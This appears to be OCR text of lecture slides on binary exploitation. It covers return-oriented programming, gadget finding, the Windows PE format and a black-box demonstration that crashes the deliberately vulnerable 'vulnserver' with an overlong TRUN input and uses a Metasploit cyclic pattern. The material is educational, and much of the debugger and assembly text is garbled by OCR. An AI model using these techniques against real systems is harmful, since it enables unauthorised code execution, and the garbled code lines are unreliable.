Binary Exploitation 2
Return Oriented Programming
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Where Are We ?

 Executable, No Canaries and No ASLR.

* QOverwrite return address.

« Shellcode in stack.
 Non Executable, No Canaries and No ASLR.

* Overwrite the return address.

* Reurn to libc restricted by system().
 Non Executable, No Canaries and No ASLR.
« Overwrite return address.

* Return Oriented Programming.
« EXxecute arbitrary code.




Return Oriented Programming Attacks

* Discovered by Hovav Shacham of Stanford University

« Subverts execution.

— As with the regular ret-2-libc, can be used with non executable stacks since the
instructions can be legally executed.

— Unlike ret-2-libc does not require to execute functions in libc (can execute any
arbitrary code).

The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls
on the x86




Stack : Function Call

Stack

Call instruction has 2 steps: csp
e Push the contents pointed to by EIP. esp [ parameters
e Decrease ESP by 4 (32bit machine) for function

ESP
ESP | return Address

ESP |prev frame pointer | ggp

In main In function Locals of function
push $3 push %ebp ESP
push $2 movl %esp, %ebp
sub $20, %esp
pUSh $1 %ebp : Frame Pointer

%esp : Stack Pointer




Stack : Function Return

Ret instruction has 2 steps: Stack
e Pops the contents pointedto by ~ —>" |

ESP into EIP for function
e Increment ESP by 4 (32bit machine) Egz

return Address

ESP |prev frame pointer | ggp

Locals of function

In function ESP
movl %ebp, %esp

In main
push S$3

Action by leave instruction %ebp : Frame Pointer
%esp : Stack Pointer



Target Payload

Lets say this is the payload needed to be executed by an attacker.

"moul xe=i, OxB(re=sil):;"

"moub SO0x0, O0x?(xesi);"
"movl SOx0, Oxc(zesi):"

"moul S0xhb, »eax:"
"movl xes=si, xebx:"
"leal OxB(xe=i), »ecx:"
"leal Oxc(xesi), »edx:"

Suppose there is a function in libc, which has exactly this sequence of
Instructions ... then we are done.. we just need to subvert execution
to the function




Target Payload

Lets say this is the payload needed to be executed by an attacker.

"moul xe=i, OxB(re=sil):;"

"moub SO0x0, O0x?(xesi);"
"movl SOx0, Oxc(zesi):"

"moul S0xhb, »eax:"
"movl xes=si, xebx:"
"leal OxB(xe=i), »ecx:"
"leal Oxc(xesi), »edx:"

Suppose there is a function in libc, which has exactly this sequence of
Instructions ... then we are done.. we just need to subvert execution
to the function

What if such a function does not exist?
If you can'’t find it then build it
R

N
R \
A \\

10



Step 1: Find Gadgets

Find gadgets.
A gadget is a short sequence of instructions followed by a return.

useful instruction(s)
ret

Useful instructions : should not transfer control outside the gadget.

This is a pre-processing step by statically analysing the libc library.
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Step 2: Stitching

 Stitch gadgets so that the payload is built

movb S0x0, Ox7(%esi)
ret G2
movl SOxb, %eax G4
ret

movb S0x0, Oxc(%esi)

>

ret

movl %esi, 0x8(%esi)
ret Gl

G3

a

Program Binary
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Step 3: Construct the Stack

XXX
AG4 o movb S0x0, 0x7(%esi)
ret G2
AG3
| movl SOxb, %eax G4
AG2 ret
e
Return Address AG1 movb SOx0, Oxc(%esi
ret ( ) GS
XXX
( XXX
XXX mov| %esi, 0x8(%esi)
buffer < -
XXX
\ -
Program Binary

ram Stack

AGi: Address of Gadget i 13



Finding Gadgets

e Static analysis of libc

* To find
1. A set of instructions that end in a ret (Oxc3).

The instructions can be intended (put in by the compiler) or unintended.
2. Besides ret, none of the instructions transfer control out of the
gadget.

14



Intended vs Unintended Instructions

* Intended : machine code intentionally put in by the compiler

* Unintended : interpret machine code differently in order to build new
instructions

Machine Code : F7 C7 070000000F9545 C3
What the compiler intended..

£7 ¢7 07 00 00 00 test $0x00000007, %edi
0f 95 45 c3 setnzb -61(%ebp)

What was not intended
c7 07 00 00 00 Of movl $0x0f000000, (%edi)
95 xchg %ebp, %eax
45 inc %ebp
c3 ret

Highly likely to find many diverse instructions of this form in x86.

Not so likely to have such diverse instructions in RISC processors.
15



Geometry

Given an arbitrary string of machine code, what is the
probability that the code can be interpreted as useful
instructions.

— x86 code is highly dense.

— RISC processors like (SPARC, ARM, etc.) have low geometry.
Thus finding gadgets in x86 code is considerably more easier
than that of ARM or SPARC.

Fixed length instruction set reduces geometry.

16



Finding Gadgets

Static analysis of libc.

Find any memory location with Oxc3 (RET instruction).

Build a trie data structure with Oxc3 as a root.
Every path from leaf to the root is a possible gadget.

child of§§§$
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Finding Gadgets

g

g

33

oy

b2|(23 |12 (a0 |31 |a5(67 |22 |ab|ba|4a|{3c(c3 )ff |[ee|ab |31 11|09

D

* Scan libc from the beginning toward the end
e If Oxc3is found

Start scanning backward

With each byte, ask the question if the subsequence forms a valid
instruction

If yes, add as child

If no, go backwards until we reach the maximum instruction length (20
bytes)

Repeat this till (a predefined) length W, which is the max instructions
in the gadget
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Finding Gadgets Algorithm

Algorithm GALILEO:
create a node, root, representing the ret instruction;
place root in the trie;
for pos from 1 to textseg len do:
if the byte at pos is c3, i.e., a ret instruction, then:
call BUuILDFrROM(pos, root).

Procedure BUILDFROM(index pos, instruction parent_insn):
for step from 1 to max_ insn_len do:
if bytes [(pos — step) ... (pos — 1)] decode as a valid instruction insn then:
ensure insn is in the trie as a child of parent_insn;
if insn isn’t boring then:
call BUILDFROM(pos — step, insn).

19



Finding Gadgets Algorithm

Algorithm GALILEO:
create a node, root, representing the ret instruction; Found 15,121 nodes in
place root in the trie; ~1MB of libc binary
for pos from 1 to textseg len do:

if the byte at pos is c3, i.e., a ret instruction, then:
call BuiLDFrOM(pos, root).

is this sequence of instructions valid x86 instruction?

Procedure BUILDFROM(index pos, instruction parent_insn):
for step from 1 to max_ insn_len do:
if bytes [(pos — step) ... (pos — 1)] decode as a valid instruction insn then:
ensure insn is in the trie as a child of parent_insn;
if insn isn’t boring then:
call BUuiLDFjtoM(pos — step, insn).

Boring: not interesting to look further;
Eg. pop %ebp; ret;;;; leave; ret (these are boring if we want to ignore intended instructions]

mp out of the gadget instructions
20



Gadgets : Constant into Register

Loading a constant into a register (edx € deadbeef)

pop %edx
ret

deadbeef
esp | GadgetAdd

h
|

e A previous return will pop the gadget address into %eip
* %esp will also be incremented to point to deadbeef

stack (4 bytes on 32 bit platform)
* The pop %edx will pop deadbeef from the stack and
increment %esp to point to the next 4 bytes on the stack
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Gadgets : Arbitrary Data into eax

esp

+64

G2

addr

G1

deadbeef

stack

G1
pop %edx
ret

G2
mov 64(%edx), %eax
ret

Load arbitrary data into %eax register using
Gadgets G1 and G2

22



Gadgets: Store Constants

e Store the contents of a register to a memory location in the
stack

mov %eax, 24(%edx)
ret
GadgetAddr 2

0

SP | GadgetAddr 1 /ﬂ pop %edx
ret




esp

GhdgetiAidutt2

GadgetAddr

stack

Gadget: Addition

Add the memory pointed
to by %edx to %eax.
The result is stored in %eax

addl (%edx), %eax
pushes %edi.. onto the stack

— push %edi
P . why is this present?
ret .... This is unnecessary, but
this is best gadget that we can

find for addition
But can create problems!!

We need work arounds!

Some gadget

24



Gadgets: Addition with NOP

add| (%edx), %eax 1. First put gadget ptr for 0xC3 into
GadgetAddr3 - push %edi %edi
Gadget_RET |« = ret 2. 0xC3 corresponds to NOP in
GadgetAddr2 ROP
Gadget RET 3. push %edi in gadget 2 just pushes
€SP | GadgetAddrl %: Oxc3 0xc3 back into the stack
Therefore not disturbing the stack

stack pop %edi contents

ret 4. Gadget 3 executes as planned

Oxc3 is ret in ROP and ret is equivalent to NOP instruction

25



Unconditional Branches

* Changing the %esp

- ¥ [ pop %esp

=
ret
esp GA = a

stack

p—




Conditional Branches

In x86 instructions conditional branches have 2 parts.

1. An instruction which modifies a condition flag (eg CF, OF, ZF).
eg. CMP %eax, %ebx (will set ZF if %eax = %ebx)
2. A branch instruction (eg. JZ, JCC, JNZ, etc).
which internally checks the conditional flag and

changes the EIP accordingly.

In ROP, we need flags to modify %esp register instead of EIP
Needs to be explicitly handled

In ROP conditional branches have 3 parts.

1. An ROP which modifies a condition flag (eg CF, OF, ZF).

eg. CMP %eax, %ebx (will set ZF if %eax = %ebx)
2. Transfer flags to a register or memory.
Perturb %esp based on flags stored in memory.

27



Step 1: Set the flags

Find suitable ROPs that set appropriate flags

CMP %eax, %ebx
RET

NEG %eax
RET

subtraction
Affects flags CF, OF, SF, ZF, AF, PF

2s complement negation
Affects flags CF

28



Step 2: Transfer flags to
memory or register

* Using lahf instruction

stores 5 flags (ZF, SF, AF, PF, CF) in the %ah register

e Using pushf instruction
pushes the eflags into the stack

ROPs for these two not easily found.

where would one
use this
instruction?

A third way — perform an operation whose result depends on the flag
contents.

29



Step 2: Indirect way to transfer flags
to memory

Several instructions operate using the contents of the flags

ADC %eax, %ebx : add with carry that performs eax <- eax + ebx + CF.

(if eax and ebx are 0 initially, then the result will be either 1 or 0 depending on the CF)

RCL :  rotate left with carry.
|
RCL CF
RCL %eax' 1 Bit position: 7 6 5 4 3 2 1 0
(if eax = 0. then the result is either 0 or 1 depending on CF)
O




Gadgets: Transfer Flags to Memory

™ movl %ecx, (%edx)

ret
* ™ adc %cl, %cl
A ret
0x00000000
. . ™ pop %ecx
Joesp —* pop Y%edx
: : ret

(CF goes here)

%edx will have value A
%ecx will contain Ox0




Step 3: Perturb %esp depending

on flag

What we hope to achieve

If (CF is set){

perturb %esp
lelse{

leave %esp as it is

}

What we have

* CF stored in a memory location
(say X).

* Current %esp.
* Delta, how much to perturb %esp.

One way of achieving ...

negate X
offset = Delta & X
%esp = %esp + offset

1. Negate X (eg. Using instruction negl)
finds the 2’s complement of X

if (X=1)2's complementis111111111...
if (X=0) 2’s complement is 000000000...

2. offset=Deltaif X=1
offset=0 ifX=0

3. %esp = %esp + offset ifX=1

%esp = %esp ifX=0
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Gadgets: Example

equivalent to

mov %edx, 5
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Gadgets: Example

Ox17f: pop %edx
ret

equivalent to

Gadget

mov %edx, S

$edx
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Gadgets: Example

Ox17f: pop %edx
ret

equivalent to

mov %edx, 5

Gadget

“Buffer Overflow”

$edx

“Instructions”
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Gadgets: Example

(ret) s -

Ox17f: pop %edx
ret

Gadget

equivalent to

mov %edx, S

“program counter”
%esp

“Instructions”

$edx
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Gadgets: Example

ret )
%ei ;
Ox17f: pop %edx 4 equivalent to

ret

\\\ %esp

mov %edx, S




Gadgets: Example

(ret)
@x17f: pop %edx %eip equivalent to

mov %edx, S
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Gadgets: Example

(ret)
9x17f: pop %edx equivalent to
ret
%eip

mov %edx, 5




Gadgets: Another Example

mov [%ebx] %eax

40



Gadgets: Another Example

41



Gadgets: Another Example

Ox17f: mov %eax, [%esp]
mov %ebx, [%esp-8 %ei 4 s
mov |%ebx], %eax eLP Rx
> 4

42



Gadgets: Another Example

Ox17f: mov %eax, [%esp]
mov %ebx, [%esp-8]
mov [%ebx], %eax

$eax 5




Gadgets: Another Example

Ox17f: pop %eax Aelp

ret

$eax

0x20d: pop %ebx
ret $ebx

@x21a: mov [%ebx], %eax

\ / “Buffer Overflow” %esp

44



Gadgets: Another Example

Ox17f: pop %eax

%eip

[ ret |
A teax 5
ox20d: pop %ebx

ret tebx
@x21a: mov [%ebx], %eax
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Gadgets: Another Example

Ox17f: pop %eax

ret Seax 5
Ox20d: pop %ebx %eip
ret tebx

@x21a: mov [%ebx], %eax




Gadgets: Another Example

Ox17f: pop %eax
ret

feax 5 ’

0x20d: pop %ebx . |

Ox21a: mov [%ebx], %eax
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Gadgets: Another Example

Ox17f: pop %eax
ret

$eax 5

0x20d: pop %ebx
ret tebx 0Ox404

A [ (o v e 15




Gadgets: Another Example

Ox17f: pop %eax :

ret " 5
0x20d: pop %ebx
ret tebx 0Ox404

@x21a: mov [%ebx], %eax




Turing Complete

Gadgets can do much more...
invoke libc functions,
invoke system calls, ...

For x86, gadgets are said to be turning complete.

— Can program just about anything with gadgets.
For RISC processors, more difficult to find gadgets.

— Instructions are fixed width.

— Therefore can’t find unintentional instructions.

Tools available to find gadgets automatically.
Eg. ROPGadget (
Ropper (

50


https://github.com/JonathanSalwan/ROPgadget
https://github.com/JonathanSalwan/ROPgadget
https://github.com/sashs/Ropper

Exploiting Large Binaries

p—



Binary Testing Methods

 White Box Testing.

* Testing with full knowledge.

* Access to source code & architecture documents.
* Black Box Testing.

* Without knowledge of specification.

* No access to the source code & architecture.

* Attacker model.

* Grey Box Testing.
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Windows PE Format

Header Information

Dos MZ Header
Signature:  5add
DOS Stub Last Page Size: 0090
. Total Pages in File: 0003
EE SR Bt Relocation ltems: 0000
l PE Signature Paragraphs in Header: 0004

< Minimum Extra Paragraphs: 0000
Masimum Ext Parsgaphs:
== Initial Stack Segment. 0000
Initial Stack Pointer.  00b3
Complemented Checksum: 0000
Initial Instruction Pointer: 0000
Data Directories Initial Code Segment: 0000
Relocation Table Offset: 0040
Overlay Number. 0000
Resened: 0000 0000 0000 0000
(0000 0000 0oo0 DooD
(0000 0000 DooO 0ooO
(0000 0000 8320 000c
Offset to New Header. 00000080
Memory Needed: 2K

; 4D 54190 00 03 00 00 00,04 00 00 0O[FE FF00 00 Mz0000000000yy00
[B8 00/00 00 00 00 00 00[40 00/00 00 00 00 00 00 ,0000000EO000000
00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 DO0OOOO0000000O0
)00 00 00 0000 0000002083 0c00[E000 0000 00000000 fOOOOOO

Section Table
Array of Image_Section_Headers
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Windows PE Format

l Dos MZ Header '

DOS Stub

PE File Header
| PE Signature

Image_Optional_Header

Section Table
Array of Image_Section_Headers

Data Directories

Sections
.idata

rsrc

.data

text

— — ) p— )

Image File Header

Signature: 00004550
Machine: Intel 386
Number of Sections: 0004
Time Date Stamp: 00000000
Symbols Pointer: 00000000
Number of Symbois: 00000000
Size of Optional Header (00e0

1080150 45 00 00Jc 01(04 0000 00 00 00 00 00 00 00 PEODLOOOOOOOOOOD

00 00 00 0olE0 00J0F 01[0B 0102 00{00 02 00 00 DOODA00000000000
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Windows PE Format

Image Optional Header

I Dos MZ Header '

Magic:  010b
DOS Stub Linker Version:  3.00
= Size of Code: 00000200
PE File Header Size of hitialized Data: 0000000
l PE Signature ] Size of Uninitialized Data: 00000000

Address of Entry Point: 00004000

. . Base of Code: 00004000

Image_O ptional_Header Base of Data: 00003000

" fmage Base: 00400000
Section Tahle Section Alignment: 00001000

it flm tion H r File Alignment: 00000200
Array of Image_Section_Headers ~ Opersting System Version: 4.00

Data Directories SEUE Yaraitue:: | 46)
Subsystem Version: 4.00
Reserved 1: 00000000
Size of mage: 00005000
Size of Feaders: 00000400
Checksum: 00000000
Subsystem:  Image runs in the Windows GUI subsystem.
OLL Charactedstics: 0000
Size of Stack Reserve: 00100000
Size of Stack Comait: 00001000
Size of Heap Reserve: 00005000
Size of Heap Commit: 00001000
LoaderFlags: 00000000
Size of Data Directory: 00000010
fwport Directory Vidual Address: 1000
swport Directory Size: 003¢
Resoure Directory
Virual Address: 2000
Resource Directory Size: 0800
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Windows PE Format

| Dos MZ Header l

DOS Stub

PE File Header Section name:  .idata
( PE Signature ) Virtual Size: 00000204

. Virtual Address: 00001000
Size of raw data: U040
. ‘ Pointer to Raw Data: 00000400
Section Table Pointer to Relocations: 00000000
Array of Image_Section_Headers Pointer to Line Numbers: 00000000
Data Directories Number of' Relocations: 0000
Number of Line Numbers: 0000
Charactenstics;  Section contains initialized data
Section is readable
Section is writeable

-

0000000O0DDODDD0ODDOD2Z2EG9 64 6174 610000 OOOOOOOO. 1datald
0402000000100000000400000004 0000 OOOCOCOOOCOOOOOO
000000000000 000000000000 400000 ¢ OODDDDOO0DO0e00A




Windows PE Format

l Dos MZ Header '

DOS Stub

PE File Header
| PE Signature

Section Table
Array of Image_Section_Headers

Image_Optional_Header i

k.

<
Data Directories

]

'——}/

—l\

Section hame:  .rsic

Virtual Size; 00000680

Virtual Address: 00002000

Size of raw data: 00000800

Pointer to Raw Data: 00000300

Pointer to Relocations: 00000000

Pointer to Line Numbers: 00000000
Number of Relocations: 0000
Number of Line Numbers: 0000

Characteristics:  Section contains initialized data
Section is readable

2ET727372630000008006000000200000 . rsr<00000000 OO
000800000008000000000000000000 00 DOOODOODOOOODOOO0

100 00 00 00 4000 00 40 2E 64 61 74 61 00 00 00 OODDEODE. datal00
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Windows PE Format

l Dos MZ Header '

DOS Stub

PE File Header Section name:  .data
| PE Signature Virtual Size: 00000129

Virtual Address: 00003000
Image_Optional_Header

Size of raw data: 00000200
Section Table 1

Pointer to Raw Data: 00001000
Pointer to Relocations: 00000000

Array of Image_Section_Headers Pointer to Line Numf.?ers: 00000000
Number of Relocations: 0000
Data Directories Number of Line Numbers: 0000

Characteristics:  Section contains initialized data
Section is readable
Section is writeable

00000000 400000402E64617461000000 ODOOEOOE, datalOO
2901000000300000000Z000000 100000 )DODO0OCODOOO0O0OO
00 0000 0000 00 000000000000 4000 00 ¢0 OO0DOODOOOO0EO0A




Windows PE Format

l Dos MZ Header I

DOS Stub

PE File Header
| PE Signature

Image_Optional_Header i

Section Table
Array of Image_Section_Headers

Data Directories

1

Section hame:  text
Virtual Size:  000001ec
Virtual Address: 00004000
Size of raw data: 00000200
Pointer to Raw Data: 00001200
Pointer to Relocations: 00000000
Pointer to Line Numbers: 00000000
Number of Relocations: 0000
Number of Line Numbers: 0000
Charactenstics:  Section contains code
Section is executable
Section is readable

il ZE74657874000000EC01000000400000 . textO0010000600
i , 000200000012000000000000000000 00 DOOOOOOOOOOO0OO0
00000000200000600000000000000000 0000 0000000000
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Black Box Exploitation

* Establishing a Working Environment.
* Fuzzing.

* |Input Generation.

* Fault Injection.

* Fault Delivery.

* Fault Monitoring.

* Binary Auditing.
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Activities

'

-

=
B
A
e

File Machine WView

Black Box Exploitation Example

Sat 22:21 e

Input Devices Help

@File View Debug Plugins Options Window Help

* OllyDbg - vulnserver.exe - [CPL - main thread, module vulnsery]

[ ][ el

461126
BE4E1121
BE4E1122
BE4E1136
BE4E1130
BE4E1142
BE4E1142
BE4a114%
BE4E1156
BE4E11E]
Ba4E1153
BE4a1154
BE4E1157
BE4E11ER
Ba4a115C
BE4a115E
BEdE11632
BE4E]1EE
Ba4a1 168
BE4a1160
EE4E117L
BE4E]11FS
Ba4a1158
BE4a1185
BE4E1128
BE4E11SE

JJJ ﬂu i

v & ] 7w a1 ¢] /[ &[B] R[] 5]

: BeEt 1s

Cre4z4 aioaaal H

FF1E eC&l4EE0
. EZ D2FEFFFF

. 98
SOB426 BOSEEE

=)
. B9EE
. 53
S3EC 14

SE4E B2

. 2BOE

SEag
30 218A66CAH

. 20 SDBAEACE
~vTE 4B

» BB 81068668

> CP4424 B4 GOGE
. CPB424 BEEEEAE

: Eg_23iconon
~BF34 FFoEEenn
2500

FUSH EEP
NDU EBP,ESP

DRD PTR 55:[ESFPI, 1
CRLL DWORD PTR_D=S: E<&msvcrt.
CﬂLL vy lnsery. BE4A1EZE

LEH ESI.OWORD PTR DS:[ESI]

E ESF, 14
MOL' ERX,OWORD PTR S5: [EEF+2]
MOL ERX,.OWORD PTR DS: [EAX]
MOL ER,.OWORD FTR DS: [EAX]
CHP EAX, CAAREET 1

SHORT wu lnsery, BE4811AG
CHF_EAX, CHARAESD
JE SHORT wulnsery.@84@11E7
MOW EBX, 1
MOU DWORD PTR S%5: [ESP+41,8
MOL DWORD FTR S5:[ESFI, 2
Cﬂ%L <JMP. msucrt.signaly

JE i Lnsery, BE4E1280
TEST EAX, EAX

+ |Registers (FPLI

I
AREEHEE0
AREEEEEE
ABIBCEFS
ABZEFA00
ARZEFALD
TEFFFFFE
FFFFFFFF

TrEOFSTL

g ES GB2B
@ C5 B2z
8 S5 BOZEB
8 DS e82B
8 FS @52
B G5 BB2E
]

a

LastErr
BEEEEZEZ

EMpLy
EMpLY
empty
Empty
EMpLy
EMpEY
empty
Empty

a.6

IEEEOEE
DEODD@E

Szbit
22bit
SZbit
Szbit
Szbit
22bit

3218

ntdll.7FEDOFS7F1

81 FFFFFFFF)
&1 FFFFFFEF)
&1 FFFFFFFF)
BiFFFFFFFF)
FEFDDEEG!FFF)
BUFFFFFFFF)

ERROF_SUCCESS (08880EEE)
(MO, ME.ME, A, M5, PO, GE, G)

ESPULOZOT

Address

Hew dump

BEZEFFEC

»

BE4A3HRE
BE4E3E1 6

FF
FF

BR4E2AZE| FF
BA4E3A36) B8

BE4a3040

L:]

BE4EIACH| OE

BE4E2ASE

i)

BA4E3A7E| B8

BE482026

[l

BE4E2A06E| OE

BE4E2AAE

i)

BA4E3AEE| B8

BE4E2aCE
BE4A3808

[50e]
[505]

BE4E2AER| BE
BA4E3AFE| B8

BE4621 66

]

BE4E2] 16| B8
BA4E31 26| 68

BE4a31 36
BE4621 46

[s03]
[50e]

BE4E2ICH| OE
BA4E31 66| B8

BE4a317E
BE4621 26
BB 138

[s03]
[50e]
[517]

BA4E31 A6 B8

Thread O000DES4 terminated, exit code O

BEZSFF 98
BE22FF 34
BEZEFF 92
BAZEFFAC
BEZSFF AR
BE22FFA4
BEZEFFAZ
BAZEFFAC

BAZEFFEC
BAZSFFCA
BE22FFC4
BEZEFFC2

BE22FFO4
BEZEFFO2
BEZSFFOC
BE22FFER
BE22FFE4
BAZEFFES
BEZSFFEC
BE22FFFE
BEZEFFF4
BAZEFFFE
BAZSFFFC

TEENSETT
TEFDEBES
E052EFFD4
TPBFSOTE
TEFDEBEE
TECCESES
B ABEEEE
BOABEEEE
TEFDEBES
BEABEEEE
BEABEEEE
BOABEEEE
BOZEFFAB
BEABEEEE
FFFFFFFF

BEEADYE1
BEABEEHAE

L GG 2EFFEC
TTEFOD4E
Ba461 138
TEFDEGRE
EEAEEEHEE
BRAEEAGE
[alals]alalalsl]
BEABEAAE
BE461 126
TEFDEGGE
BRAREAGE

FrCaE410| SE

FETURN to kernel32.”

RETURM to ntdll.77El

End of SEH chain
handler

RETURM to ntdll.77E
vy lnsery. <Modu leEnt

vy lnserv. <Hodu leEnt

| Running

S
B @ %P ¢ & M i [ @ [ Rright ctrl

=

le Machine View
Appli...

nput Devices Help
G3J Termi.. = tl

root@kali: ~

File Edit View Search Terminal Help

# nc 192.168.56.101 9999

Welcome to Vulner
HELP

Valid Commands:
HELP

STATS [stat value]
RTIME [rtime value]
LTIME [ltime value]
RUN [srun_value]
RUN [trun value]
GMON [gmon_value]
GDOG [gdog value]
KSTET [kstet_value]
GTER [gter value]
HTER [hter_value]
LTER [lter_value]
KSTAN [1stan_value]
EXIT

TRUN AAAA

TRUN COMPLETE

GMON AAAA

GMON STARTED

EXIT

GOODBYE

B © e e? ¢ @ iR @ @ @ Right ctrl

hle Server! Enter HELP for help.

=)

L]




Black Box Exploitation Example

Activities

3

e

File Machine View Input Devices Help File Mach View Input Devices Help

* OllyDbg - vulnserver.exe - [CPU - main thread, module vulnsery] = | .ﬁ'spp“... - E Termi..
@ File View Debug Plugins Options  Window Help

BRI LA HELELE: Ry R
FUSH EEF Regizters (Z0Naut! File Edit View Search Terminal Help
Mol EEF, ESP R

S3EC 18 5
ABEGHAGRE
. CFEd24 G1opas| MOU DWORD PTR SS:[ESFI,1 oEBORAGE

. FFIE &CE14m@@| CALL DWORD PTR OS: [<4mStort.  set_app_t ABT1CEES
ES DSFEFFFF | CALL wulnsery. BB461026 BECEFSOE

a6 HOF
| BOB42e ooeaam| LEA ESI,0UORD PTR DS:[EST] aa2SRALD
S FUSH _EBF

(ot FFFFFFFF

] ral EEF, ESP

53 FUSH_EEH PPEOFEFL ntdll.?7PBOFE7L
] ﬁgﬁ Eﬁﬁ'éﬁoan FTR S5: [EEF+&] ES G@ZB 22bit BIFFFFFFFF)
: CS BAZS SEbit @iFFFFEFEE)

g

MU EAX. OWNORD FTR D3: LEAX]

. EEEG HMOU ER, DWORD PTR D3: CEAR] g% BazB Szbiv BIFFFFFFFF) b -
DS BA2E S2bit O(FFFFFFFF) hos T

. 30 91eeece | GMP ERXCaobgosl i

3 i | S ort

If Boceace | ote Pon. codensen F

I S ﬁBUSHDRT Rullns st K LI LastErr ERROR_SUCCESS (80000998)

G 1 AEE 0L} EBH,
» C74424 B4 @0E|MOU DWORD PTR SS:[ESP+4]1,8 @EEae2az (HO,HE, NE, A, NS, FO, 5E, 51 Ellffer‘
. CPEd424 GEBAEE| MOY DWORD FTR SS:[ESFI, 2
. ES 231CE888 CALL <JHP. &msvcrt. Slgnal)
SoFe a1 CHP EHH, 1
~BF34 FFEEROBE| JE uilniery. AB4E1250
SECE TEST ERX, ERAR

=

D @ @D

ket.socket(socket.AF INET, socket.SOCK STREAM)
(host, rt))

D @ D
0 050 (50 ) 0D

FE2AZEFT| RETURM o kernel32.

Lnzs Bl

Hex_dun Bp25FF 9| | PEFDESDE i
8t BOESFF 34| CORESFFD4
s ea2aFFog| [ 7PEFI072| RETURN to ntdl L. 77E

wazarFac| | 7EFDERDE

oozsFFAG | 7zFzzEss
oozaFFRe|| Dooaona
oezaFFAs| | oasoeoas
pazsFFAC| | 7EFDEDEE
oozsFFEG | Donmamoa

[as Tl lla]]
BEZEFFEC(| BEZSFFAR
BEZEFFCA| | BREEEREE

BE2SFFC4 || FFFFFFFF| End of SEH chain
AEZEFFCE(| 7PC28410( SE handler
BEE41720
BREEEREE
04| LBAZZFFEC

BEZSFFDZ| FYEFS045| RETURM to ntdll.77E
BE2ZFFOC|) @E481128) vy lnserwv. (Modu LeEnt
BE2EFFEA| FEFDEQEE
BEZEFFE4| GREEDHEE
BEZSFFES| GREEa0aEa
AEZEFFEC| AABEHHEEA
BEZEFFFE

BAZEFFF4 BE461126) vy lnsery. {Modu leEnt
BEZSFFFS| TEFDEQEE
ARZEFFFC| AARGHHEEA

Thread 0000CD 34 terminated, exit code 0 | Running

10,1 All

= -
iv, - ‘e H *égﬁg‘@ﬁ@@ﬁ@%@mghtcm




Black Box Exploitation Example

Sat 22:26 @

File Machine View Input Devices

Help

* OllyDbqg - vulnserver.exe - [CPU - thread 0000E1ED]
@ File View Debug Plugins Options Window Help

q(x

Bl x| wu| w4 #1d A =

L|E|MT|wn|c|s|K|B|R|. 5]

2]
» |Registers [(FPLI

B22EF208 ASCIT "TRUN ~. : “AFARRARRRAAARAARRAARH
BEIFEECY
BEAREEEA
BEAREETC
B2IEF9E@ ASCII
41414141
BEAEEEEE
BEAREERa

41414141
ES BEZE

""HAARARRRARARAARRARAAARAAAARARARA

BIFFFFFFFF)
C5 BBE3 BLFFFFFFFF)
55 BBZE 2Zbit G(FFFFFFFF)
DS B82E 22bit G(FFFFFFFF)
FS BEEZ Sbit EFDAGEELFFF)
G5 BBZB 3EZbit BIFFFFFFFF)

LastErr ERROR_SUCCESS (QO0HEG0HE)
epalEz4e (MO, ME.E,EE, NS, FE, GE,LE)

EMpEY
enpty
empty
EMptyY
EMpEY

ENpGY
emphy
Enpty

D @ D D
5 3

ESPUODZDOTI

Address |Hes dump

BA4E2006| FF
FE
FE
i
e
)
1]
B
e
)
g
B
e
)
g
B
&6
a6
g
B
&6
e
)
1)
&6
e

)
al oo

QA

BZ3CFIES
B23EFEC
BZICFIFA
BZIEFIF4
BZ3CFIFS
B235F3FC
BEICFABA
BEIEFABY
BZ3SFRBS
B235FAAC
B23EFALG
BZICFA14
BZ35FALS
B235FALC
B22EFAZE
B2ICFAZ4
BEIEFAZE
BZ3SFAZC
B23EFAZE
B2ICFA24
BZIEFASE
BZ3SFASC
B235FA4G
B2ICFA44
BEIEFA42
BZ3CSFR4LC

-

B23EFASA|

Access violation when executing [41414141] - uge Shift+F7/F8/F3 to pass exception ko program

| Fauged

= D

M | n1]

B @ by eP @ & @ i {3 @ [® right ctrl

File Mach View

Appli... =

Input Devices
G Termi.. -

Help
Sat 12:56
root@kali: ~

Help

File Edit View Search Terminal

rthon buffe.py
nc 192.168.56.101 9999

g P @ (] @ & {0 & (#] Right ctrl




Black Box Exploitation Example

Activities Sat 20:31 e

-

- File Machine View Input Devices Help File Machine View Input Devices Help
* OllyDbg - vulnserver.exe - [CPU - main thread, module vulnserv] = R _ﬁ'.,ppl_i,__ ! - E Termi... + Sat 11:01
E @ File View Debug Plugins Options Window Help = t@kali
roo! ig=s
olex| »lu] v+ $4) 3] = se(m]riwnlc|/|k/pR]]s| 2]
AE4011Z0] & G5 FUSH_EEF e ot File Edit View Search Terminal Hel
3T S :
@ . C7B424 @1emes| MOV DUORD PTR SS:[ESPI, 1 S (~#
e [ :~# locate pattern create
* 2Boaze coooea| LER ESI,ONORD PTR DS: ESI] Bap G fusr/shar E‘; ITIE"t f
b0 EBp. 5P EDI m@2sFrss . JIIHHthle; rnetaqrﬂ.mt framework/ toolwe oit/patte
FUSH EEX EIF FFEDFCEZ ntdll.77EOFCEZ rn create. lll ']_ 5@50
FD (R P o AR C @ ES BB2E 32bit B(FFFFFFFF) L~ h
MU EAY,DNORD PTR D3: [EAX] B8 BT e (A AabDAa lAm_Aa.)Ad—lAaSAaGAa?Aah a9AbOAb1Ab2Ab3Ab4ALSAb6ADTADBADIACOA
: 5781000000 EHB EE§ e ¢4 05 828 S2bit QUEFFEERFE) c1Ac2Ac3Ac4AcSAC6ACTACBACIAdOAd1Ad2Ad3Ad4AdSAd6AdTAdBAdIAE0AE1AE
== ED Shovomce | SHe EAY. conoBamn e T G5 6038 32bic B(FFFFFFFF) 2Ae3AedAe5Ae6AeTAeBAcOATOATIAT2AT3AT4ATSATEATTATSATIAGRAG1AG2AG3
— LR A anannn HEUSES§T1Wlnser”'aa"a“B? 08 LastErr ERROR_SUCCESS (BGGOEGOC) Ag4Ag5Ag6Ag7Ag8AgIAROANTIARZAR3AR4ARSARGAR7ARSANIAIOATI1AI2ZAI3A14A
— ? E7a424 ooonaa| MOU DUORD BT S5;FESET a’ e T 15A16A17A18A19A0A 1A 2A13A 4A5A16A) 7A]8A]9AKOAK1AK2AK3AKAAKSAK
D EERETAITMY | g BreverTslanaly i e o 6Ak7AKBAKIATOATIATZATIATAALSATBOAT7ATBAT9AMOAMIAM2AM3Am4AMSAmEAMT
e o i 8.2 0. Am8AM9IANOAN1AN2An3An4An5An6AN7An8ANIA00A01A02A03A04A05A06A07A08
